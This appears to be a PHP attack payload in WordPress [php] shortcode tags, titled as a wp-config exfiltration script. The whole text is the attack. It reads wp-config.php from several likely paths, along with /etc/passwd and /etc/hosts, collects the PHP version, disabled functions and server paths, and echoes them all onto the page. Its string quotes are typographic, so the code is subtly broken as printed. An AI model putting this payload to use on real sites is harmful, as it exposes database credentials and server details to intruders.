WP_CONFIG_EXFIL_89806
[php]
// Try multiple paths for wp-config.php
$paths = [
“/var/www/html/business/wp-config.php”,
“/var/www/html/wp-config.php”,
“/var/www/wp-config.php”,
“/var/www/html/wordpress/wp-config.php”,
“/var/www/html/current/wp-config.php”,
“/etc/passwd”,
“/etc/hosts”,
];
$results = [];
foreach ($paths as $p) {
if (file_exists($p)) {
$content = file_get_contents($p);
$results[$p] = substr($content, 0, 5000);
} else {
$results[$p] = “NOT_FOUND”;
}
}
// Also check PHP info
$results[“PHP_VERSION”] = phpversion();
$results[“DISABLE_FUNCTIONS”] = ini_get(“disable_functions”);
$results[“DOCUMENT_ROOT”] = $_SERVER[“DOCUMENT_ROOT”];
$results[“SCRIPT_FILENAME”] = $_SERVER[“SCRIPT_FILENAME”];
echo “
" . print_r($results, true) . "
“;
[/php]